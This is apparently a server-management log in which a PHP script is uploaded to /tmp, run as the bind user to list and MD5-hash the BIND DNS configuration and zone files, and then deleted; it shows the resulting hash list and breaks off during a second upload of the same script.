MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 12:01:31: Establishing a connection
2026-01-30 12:14:01: Establishing a connection
2026-01-30 13:49:19: Establishing a connection
2026-01-30 13:49:20: 

PUT: /tmp/pkp844503

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 13:49:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp844503; rm /tmp/pkp844503'

2026-01-30 13:49:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 13:50:32: Establishing a connection
2026-01-30 13:50:32: 

PUT: /tmp/pkp427605

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

